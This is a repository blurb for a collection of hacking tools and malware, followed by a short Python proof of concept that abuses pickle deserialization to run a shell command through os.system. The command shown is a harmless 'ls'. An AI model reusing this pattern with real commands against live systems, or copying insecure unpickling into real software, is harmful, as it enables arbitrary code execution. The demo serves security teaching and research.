This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
import os
import pickle
class Vulnerable(object):
def __reduce__(self):
# Note: this will only list files in your directory.
return (os.system, ('ls',))
def serialize_exploit():
shellcode = pickle.dumps(Vulnerable())
return shellcode
def insecure_deserialize(exploit_code):
pickle.loads(exploit_code)
if __name__ == '__main__':
shellcode = serialize_exploit()
print('Obtaining files...')
insecure_deserialize(shellcode)